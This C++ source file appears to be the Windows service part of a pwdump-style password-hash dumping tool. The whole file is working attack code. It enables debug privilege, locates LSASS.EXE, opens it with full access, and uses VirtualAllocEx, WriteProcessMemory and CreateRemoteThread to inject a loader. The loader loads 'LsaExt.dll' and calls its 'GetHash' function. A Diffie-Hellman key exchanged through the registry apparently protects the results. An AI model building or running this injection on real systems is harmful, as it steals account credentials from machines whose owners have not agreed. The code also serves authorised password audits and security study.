/*
Copyright ©2001 e-business technology, Inc.

This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License Version 2, as published
by the Free Software Foundation.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE.  The program may contain errors that
could cause failures or loss of data, and may be incomplete or contain
inaccuracies.  By using the program, you expressly acknowledge and agree
that use of the program, or any portion thereof, is at your sole and entire
risk.  You are solely responsible for determining the appropriateness of
using, copying, distributing and modifying the program and assume all risks
of exercising your rights under the license, compliance with all applicable
laws, damage to or loss of data, programs or equipment, and unavailability
or interruption of operations.   THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
EXPRESSLY DISCLAIM ALL WARRANTIES AND/OR CONDITIONS, EXPRESS OR IMPLIED,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES AND/OR CONDITIONS OF
MERCHANTABILITY, OF SATISFACTORY QUALITY, OF FITNESS FOR A PARTICULAR
PURPOSE, OF ACCURACY, OF QUIET ENJOYMENT, AND NONINFRINGEMENT OF THIRD
PARTY RIGHTS.  THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES DO NOT WARRANT
AGAINST INTERFERENCE WITH YOUR ENJOYMENT OF THE PROGRAM, THAT THE FUNCTIONS
CONTAINED IN THE PROGRAM WILL MEET YOUR NEEDS, THAT THE OPERATION OF THE
PROGRAM WILL BE UNINTERRUPTED OR ERROR-FREE, OR THAT DEFECTS IN THE PROGRAM
WILL BE CORRECTED. THE DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART
OF THE LICENSE TO USE THE PROGRAM AND NO USE OF THE PROGRAM IS AUTHORIZED
EXCEPT UNDER THE DISCLAIMER.  ALSO, SOME JURISDICTIONS DO NOT ALLOW THE
EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT
EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.  See the GNU General Public
License Version 2 for more details.

You should have received a copy of the GNU General Public License Version 2
along with this program; if not, write to the Free Software Foundation, 59
Temple Place, Suite 330, Boston, MA 02111-1307 USA.
*/

#include <windows.h>
#include <stdio.h>
#include "diffie.h"

extern "C"
{
int SetAccessPriv( HKEY );
}

typedef HINSTANCE (WINAPI *pLoadLibFunc)( char* );
typedef HINSTANCE (WINAPI *pGetProcAddrFunc)( HINSTANCE, char* );
typedef HINSTANCE (WINAPI *pFreeLibFunc)( HINSTANCE );
typedef int (*pGetHashFunc)( char*, BYTE* );

struct ThreadData
{
    pLoadLibFunc pLoadLibrary;
    pGetProcAddrFunc pGetProcAddress;
    pFreeLibFunc pFreeLibrary;
    char szDllName[32];
    char szFuncName[16];
    char szKeyName[32];
    BYTE magic[KEY_BYTES];
};


SERVICE_STATUS_HANDLE hSrv;
DWORD dwCurrState;
char* srvName = "PWService";

int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
{
    SERVICE_STATUS srvStatus;
    srvStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    srvStatus.dwCurrentState = dwCurrState = dwState;
    srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
    srvStatus.dwWin32ExitCode = dwExitCode;
    srvStatus.dwServiceSpecificExitCode = 0;
    srvStatus.dwCheckPoint = dwProgress;
    srvStatus.dwWaitHint = 3000;
    return SetServiceStatus( hSrv, &srvStatus );
}

void __stdcall PWServHandler( DWORD dwCommand )
{
    // not really necessary because the service stops quickly
    switch( dwCommand )
    {
    case SERVICE_CONTROL_STOP:
        TellSCM( SERVICE_STOP_PENDING, 0, 1 );
        TellSCM( SERVICE_STOPPED, 0, 0 );
        break;
    case SERVICE_CONTROL_PAUSE:
        TellSCM( SERVICE_PAUSE_PENDING, 0, 1 );
        TellSCM( SERVICE_PAUSED, 0, 0 );
        break;
    case SERVICE_CONTROL_CONTINUE:
        TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 );
        TellSCM( SERVICE_RUNNING, 0, 0 );
        break;
    case SERVICE_CONTROL_INTERROGATE:
        TellSCM( dwCurrState, 0, 0 );
        break;
    case SERVICE_CONTROL_SHUTDOWN:
        break;
    }
}

// This is the function used to load the dll in lsass
static DWORD __stdcall LsaThreadFunc( ThreadData* pData )
{
    HINSTANCE hDll;
    pGetHashFunc pGetHash;
    int rc = -1;

    hDll = pData->pLoadLibrary( pData->szDllName );
    if( hDll )
    {
        rc = -2;
        pGetHash = (pGetHashFunc)pData->pGetProcAddress( hDll, pData->szFuncName );
        if( pGetHash )
            rc = pGetHash( pData->szKeyName, (BYTE*)&pData->magic );
        pData->pFreeLibrary( hDll );
    }
    return rc;
}

// Dummy function used to get the address after LsaThreadFunc
static void DummyFunc( )
{
    return;
}

typedef DWORD NTSTATUS;

typedef struct 
{
    USHORT Length;
    USHORT MaxLen;
    USHORT *Buffer;
} UNICODE_STRING;


typedef NTSTATUS (__stdcall *NtQSI_t)( ULONG, PVOID, ULONG, PULONG );
typedef LONG (__stdcall *RtlCUS_t)( UNICODE_STRING*, UNICODE_STRING*, ULONG );


NTSTATUS (__stdcall *NtQuerySystemInformation)( IN ULONG SysInfoClass, IN OUT PVOID SystemInformation,
                                                IN ULONG SystemInformationLength, OUT PULONG RetLen );

LONG (__stdcall *RtlCompareUnicodeString)( IN UNICODE_STRING*, IN UNICODE_STRING*, IN ULONG CaseInsensitve );

struct process_info 
{
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    ULONG Reserved1[6];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ProcessName;
    ULONG BasePriority;
    ULONG ProcessId;
    // etc.
};

// Find the pid of LSASS.EXE
DWORD GetLsassPid( )
{
    HINSTANCE hNtDll;
    NTSTATUS rc;
    ULONG ulNeed = 0;
    void *buf = NULL;
    size_t len = 0;
    int ret = 0;

    hNtDll = LoadLibrary( "NTDLL" );
    if( !hNtDll )
        return 0;

    NtQuerySystemInformation = (NtQSI_t)GetProcAddress( hNtDll, "NtQuerySystemInformation" );
    if (!NtQuerySystemInformation)
        return 0;

    RtlCompareUnicodeString = (RtlCUS_t)GetProcAddress( hNtDll, "RtlCompareUnicodeString" );
    if( !RtlCompareUnicodeString )
        return 0;

    do 
    {
        delete[] buf;
        len += 2000;
        buf = new BYTE[len];
        if( !buf )
            return 0;
        rc = NtQuerySystemInformation( 5, buf, len, &ulNeed );
    } while( rc == 0xc0000004 );  // STATUS_INFO_LEN_MISMATCH

    if( rc <0 ) 
    {
        delete[] buf;
        return 0;
    }

    // Find process info structure for LSASS
    {
        struct process_info *p = (struct process_info*)buf;
        bool endlist = false;
        UNICODE_STRING lsass = { 18, 20, L"LSASS.EXE" };

        while( !endlist ) 
        {
            if( p->ProcessName.Buffer && !RtlCompareUnicodeString( &lsass, &p->ProcessName, 1 ) ) 
            {
                ret = p->ProcessId;
                goto exit;
            }
            endlist = p->NextEntryDelta == 0;
            p = (struct process_info *)(((BYTE*)p) + p->NextEntryDelta);
        }
    }

 exit:
    delete[] buf;
    FreeLibrary( hNtDll );

    return ret;
}

void InjectDll( HANDLE hProc, HKEY hk, const char* key, BYTE* magic )
{
    DWORD dwFuncSize;
    DWORD dwBytesToAlloc;
    void* pRemoteAlloc = NULL;
    ThreadData rtData;
    HINSTANCE hKernel32;
    DWORD dwBytesWritten;
    HANDLE hRemoteThread = 0;
    DWORD trc = 3;
    DWORD dwIgnored;
    char szBuffer[MAX_PATH];

    // Prepare the info to send across
    hKernel32 = LoadLibrary( "Kernel32" );
    rtData.pLoadLibrary = (pLoadLibFunc)GetProcAddress( hKernel32, "LoadLibraryA" );
    rtData.pGetProcAddress = ( pGetProcAddrFunc)GetProcAddress( hKernel32, "GetProcAddress" );
    rtData.pFreeLibrary = (pFreeLibFunc)GetProcAddress( hKernel32, "FreeLibrary" );

    GetModuleFileName( NULL, szBuffer, sizeof(szBuffer) );
    strcpy( strrchr(szBuffer, '\\')+1, "LsaExt.dll" );
    strncpy( rtData.szDllName, szBuffer, sizeof(rtData.szDllName) );
    strncpy( rtData.szFuncName, "GetHash", sizeof(rtData.szFuncName) );
    sprintf( rtData.szKeyName, key );
    memcpy( rtData.magic, magic, KEY_BYTES );

    // Determine amount of memory to allocate
    dwFuncSize = (DWORD)DummyFunc - (DWORD)LsaThreadFunc;
    dwBytesToAlloc = dwFuncSize + sizeof(ThreadData) + 4;

    // Allocate memory in remote proc
    pRemoteAlloc = VirtualAllocEx( hProc, NULL, dwBytesToAlloc, MEM_COMMIT, PAGE_READWRITE );
    if( pRemoteAlloc == NULL )
    {
        sprintf( szBuffer, "VirtualAllocEx failed: %d", GetLastError() );
        RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen(szBuffer) );
        return;
    }
    
    // Write data to the proc
    if( !WriteProcessMemory( hProc, pRemoteAlloc, &rtData, sizeof(rtData), &dwBytesWritten ) )
    {
        sprintf( szBuffer, "WriteProcessMemory failed: %d", GetLastError() );
        RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen(szBuffer) );
        goto exit;
    }

    // Write code to the proc
    if( !WriteProcessMemory( hProc, (PBYTE)pRemoteAlloc + sizeof(ThreadData) + 4,
                             (LPVOID)(DWORD)LsaThreadFunc, dwFuncSize, &dwBytesWritten ) )
    {
        sprintf( szBuffer, "WriteProcessMemory failed: %d", GetLastError() );
        RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen(szBuffer) );
        goto exit;
    }

    // Create the remote thread
    hRemoteThread = CreateRemoteThread( hProc, NULL, 0, (LPTHREAD_START_ROUTINE)((PBYTE)pRemoteAlloc + sizeof(ThreadData) + 4),
                                        pRemoteAlloc, 0, &dwIgnored );
    if( !hRemoteThread )
    {
        sprintf( szBuffer, "CreateRemoteThread failed: %d", GetLastError() );
        RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen(szBuffer) );
        goto exit;
    }
    // Wait for the thread to finish
    WaitForSingleObject( hRemoteThread, INFINITE );
    GetExitCodeThread( hRemoteThread, &trc );
    if( trc == -1 )
    {
        sprintf( szBuffer, "Thread code: %d, path: %s", trc, rtData.szDllName );
        RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)szBuffer, strlen(szBuffer) );
    }

 exit:
    //clean up
    if( hRemoteThread ) CloseHandle( hRemoteThread );
    VirtualFreeEx( hProc, pRemoteAlloc, 0, MEM_RELEASE );
}


void __stdcall PWServMain( int argc, char* argv[] )
{
    HANDLE hLsassProc;
    DWORD dwPid = 0;
    DWORD majorVer;
    HKEY hk;
    char buf[256];
    const char* key = argv[1];
    BYTE *magic;
    BYTE keyData[KEY_BYTES];
    diffie512 dhRemote;
    DWORD keyType = 0;
    DWORD dataSize = sizeof(keyData);
    OSVERSIONINFOEX vinfo;

    hSrv = RegisterServiceCtrlHandler( srvName, (LPHANDLER_FUNCTION)PWServHandler );
    if( hSrv == NULL ) return;

    TellSCM( SERVICE_START_PENDING, 0, 1 );

    // open registry key for status info
    if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, key, 0,  KEY_ALL_ACCESS, &hk ) != ERROR_SUCCESS )
        goto exit;

    // get host's Diffie-Hellman public key
    if( RegQueryValueEx( hk, "Key", NULL, &keyType, keyData, &dataSize ) != ERROR_SUCCESS ) 
    {
        sprintf( buf, "Couldn't read host public key: %d", GetLastError() );
        RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)buf, strlen(buf) );
        goto exit;
    }

    // send our public key back to host
    RegSetValueEx( hk, "Key", 0, REG_BINARY, dhRemote.getPublicKey(), KEY_BYTES );

    // now generate the mutual key
    magic = dhRemote.getMutualKey( keyData );

    // get version info
    majorVer = GetVersion() & 0xff;
    vinfo.dwOSVersionInfoSize = majorVer >= 5 ? sizeof(OSVERSIONINFOEX) : sizeof(OSVERSIONINFO);
    GetVersionEx( (OSVERSIONINFO*)&vinfo );
    sprintf( buf, "OS Ver %d.%d, %s", vinfo.dwMajorVersion, vinfo.dwMinorVersion, vinfo.szCSDVersion );
    if( majorVer >= 5 )
    {
        DWORD suite = vinfo.wSuiteMask;
        if( vinfo.wProductType == VER_NT_WORKSTATION )
            strcat( buf, ", Workstation" );
        else if( vinfo.wProductType == VER_NT_SERVER )
            strcat( buf, ", Server" );
        else if( vinfo.wProductType == VER_NT_DOMAIN_CONTROLLER )
            strcat( buf, ", Domain Controller" );

        if( suite & VER_SUITE_BACKOFFICE ) strcat( buf, "Backoffice " );
        if( suite & VER_SUITE_DATACENTER ) strcat( buf, "Data Center " );
        if( suite & VER_SUITE_ENTERPRISE ) strcat( buf, "Enterprise " );
        if( suite & VER_SUITE_SMALLBUSINESS ) strcat( buf, "Small Business " );
        if( suite & VER_SUITE_SMALLBUSINESS_RESTRICTED ) strcat( buf, "SB Restricted " );
        if( suite & VER_SUITE_TERMINAL ) strcat( buf, "Terminal " );
    }
    RegSetValueEx( hk, "Version", 0, REG_SZ, (BYTE*)buf, strlen(buf) );

    // Enable the debug privilege
    if( SetAccessPriv( hk ) != 0 )
        goto exit;

    // Get the LSASS pid
    dwPid = GetLsassPid();
    if( !dwPid )
    {
        RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)"Couldn't find LSASS pid", 23 );
        goto exit;
    }

    // Open lsass
    hLsassProc = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwPid );
    if( hLsassProc == 0 )
    {
        sprintf( buf, "Open process failed: %d, pid %d", GetLastError(), dwPid );
        RegSetValueEx( hk, "Status", 0, REG_SZ, (BYTE*)buf, strlen(buf) );
        goto exit;
    }

    TellSCM( SERVICE_RUNNING, 0, 0 );

    // Inject the dll
    InjectDll( hLsassProc, hk, key, magic );

exit:
    RegCloseKey( hk );
    TellSCM( SERVICE_STOP_PENDING, 0, 0 );
    TellSCM( SERVICE_STOPPED, 0, 0 );
    return;
}

int main( )
{
    SERVICE_TABLE_ENTRY stbl[] = 
    {
        { srvName, (LPSERVICE_MAIN_FUNCTION)PWServMain },
        { NULL, NULL }
    };

    StartServiceCtrlDispatcher( stbl );
    return 0;
}